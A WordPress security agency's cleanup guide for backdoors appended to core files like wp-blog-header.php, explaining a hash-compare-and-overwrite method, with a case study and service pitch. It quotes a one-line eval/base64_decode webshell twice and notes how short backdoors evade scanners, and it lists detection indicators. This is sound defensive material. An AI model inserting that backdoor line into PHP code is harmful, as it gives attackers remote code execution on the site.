WordPress problem fix
Trojanized core files run on every request, survive plugin and theme cleanups, and look like part of WordPress until you hash-compare them against the canonical release.
If your WordPress site keeps reinfecting after you have cleaned the database, removed unknown mu-plugins, and rotated credentials, the next place to look is the core PHP files in the WordPress root and wp-includes/. Attackers append eval-based backdoors (often base64-encoded, often only 1-3 lines) to files like wp-blog-header.php, wp-load.php, and wp-settings.php because those files load on every single request — front-end page views, admin, REST API, cron, everything. The fix is to (1) download the matching WordPress version from wordpress.org, (2) hash-compare every file under the WP root, wp-includes/, and wp-admin/ against the canonical release, (3) overwrite anything that does not match with the canonical version, (4) confirm via a second-pass hash check, and (5) lock file permissions so the web user cannot write to core files going forward.
If any of these match, you are on the right page.
Site reinfects even after the database is clean, all mu-plugins removed, and credentials rotated
wp-blog-header.php, wp-load.php, or wp-settings.php has a recent modified-date you cannot explain
The top of wp-blog-header.php contains a long base64 string or an eval() call before the WordPress comment block
File size of a core file is 100-2000 bytes larger than the same file in a fresh WordPress download
Server logs show outbound HTTP requests originating from the WordPress root on every page load
Two reasons. (1) Site owners and scanners pay more attention to unfamiliar files than to familiar ones — wp-blog-header.php has been a WordPress file since 2003, nobody looks twice at it. (2) Core files are guaranteed to load on every request without any registration. A new file has to be linked to from somewhere; an appended backdoor in wp-load.php runs automatically.
Auto-updates only run when a new WordPress version is released and only overwrite changed core files. Between releases (often 2-3 months), trojanized core files sit untouched. Even when an update runs, some hosts ship core differently and the updater can fall back to non-overwrite mode if file permissions block it.
Either through a compromised FTP/SSH credential, a writable webroot caused by chmod 0777 misconfiguration, a vulnerable plugin with file-write capability, or a shared-hosting tenant breach. WordPress core files should not be web-writable in production — if they are, that is the root cause.
A small footprint evades signature scanners that look for long obfuscated blobs. A single line like @eval(base64_decode($_REQUEST['x'])); is enough to give the attacker full remote code execution and is short enough to slip past Wordfence and Sucuri's pattern matchers.
The real method, in the order it works.
Identify the exact WordPress version on the site (Dashboard → Updates, or read $wp_version in wp-includes/version.php — but only trust this if you have not yet confirmed core is clean).
Download the matching version from wordpress.org/download/releases/ as a fresh ZIP. Do not use the dashboard's built-in re-install — if core is compromised, the re-install can be hijacked.
Unzip the canonical release to a clean staging directory. Run a recursive sha256sum or md5sum across every PHP file in the WP root, wp-includes/, and wp-admin/ on both the live site and the canonical release. Diff the two hash lists.
Any file with a mismatched hash is suspect. Open and read it. Look for the same indicators as mu-plugin malware: eval, base64_decode, gzinflate, assert, file_get_contents on remote URLs, error_reporting(0) at the top of the file, or any code above the WordPress comment header.
Overwrite every suspect file with the canonical version. Do not patch by hand — overwrite the whole file. Then re-run the hash check to confirm zero mismatches.
Check the wp-config.php file separately. It is not in the canonical release because it is site-specific, but attackers often append a backdoor at the bottom. Compare against a known-good copy you made before the incident; if you do not have one, read every line and remove anything that is not a define(), require_once, or the standard ABSPATH check.
Lock core: chmod 0644 for files and 0755 for directories under the WP root, owned by the SFTP user (not the web user). The web user should not be able to write to core, only to wp-content/uploads/. Add a hosting-level write-protection rule if your platform supports it (WP Engine, Kinsta, Pantheon all do).
Real fix, from our work
On the August 2025 UK agency network hack, the 30+ sites we triaged each had between 1 and 4 trojanized core files. The most common pattern was a single @eval(base64_decode($_REQUEST['c'])); line appended to the top of wp-blog-header.php, plus a longer obfuscated dropper inside wp-load.php that re-wrote both the mu-plugin payload and the wp-blog-header backdoor every 6 hours. Wordfence had been running on every site and caught none of them — the 3-byte eval call was below its detection threshold. Hash-comparing against the canonical WordPress 6.6.2 release ZIP surfaced every modified file within 90 seconds across the network. Overwrite + permission lockdown + credential rotation killed the persistence layer. Zero reinfections in 8 months.
Written by Ali Yasin Jatoi
Founder of WebCare Studios. Ali has worked with WordPress for more than 10 years, including managing a fleet of 150+ sites with WP-CLI automation for updates, security cleanup, and malware removal. He has hands on experience across major hosts including Cloudways, A2 Hosting, Hostinger, and Bluehost.
Site down, hacked, or broken checkout gets a senior engineer within 4 hours. No ticket queues, no bots.
Flat quote up front. If we cannot get you back online, you do not pay. Risk sits with us, not you.
We work on a snapshot first and never touch your live database until the fix is verified safe.
We run a fleet of WordPress sites every day. The errors you are seeing are ones we have closed hundreds of times.
Yes, but with caveats. Wordfence's 'scan core files against repository' option does this, and it is the single most useful checkbox in Wordfence. Sucuri SiteCheck also flags core-file mismatches. Both miss tiny backdoors that pattern-match to legitimate code. We still recommend a manual hash-compare against the canonical ZIP for any post-incident cleanup.
Use the manual download for any cleanup where you suspect compromise. The dashboard re-install pulls from the WordPress.org API using PHP that itself might be compromised, and on some hosts it skips files that have non-standard permissions. A manual unzip in a clean directory removes that uncertainty.
Yes, every default theme that ships with WordPress (twentytwentyfour, twentytwentyfive, etc.) is in the canonical release and should hash-match. Custom themes and third-party plugins are not — those need a separate clean copy from the theme/plugin developer to compare against.
Sometimes. WordPress core updates overwrite the canonical files, so a successful core update will remove an appended backdoor in wp-blog-header.php. It will not remove a backdoor in wp-config.php (not overwritten by updates) or in wp-content/. Use the update as one step, not the whole cleanup.
Three things. (1) Lock core file permissions so the web user cannot write to them. (2) Run a daily file-integrity monitor that hashes the WP root, wp-includes/, and wp-admin/ and alerts on any change. (3) Audit and rotate every credential with write access to the server — FTP, SSH, SFTP, hosting panel, Git deploy keys. The compromise almost always started with a stolen credential, not a WordPress vulnerability.
Two fields. Email and your URL. A senior WordPress engineer reads it within minutes and replies on email and WhatsApp with what is wrong and what we will do next.
Real proof and field guides tied to "WordPress core files trojanized (wp-blog-header, wp-load)".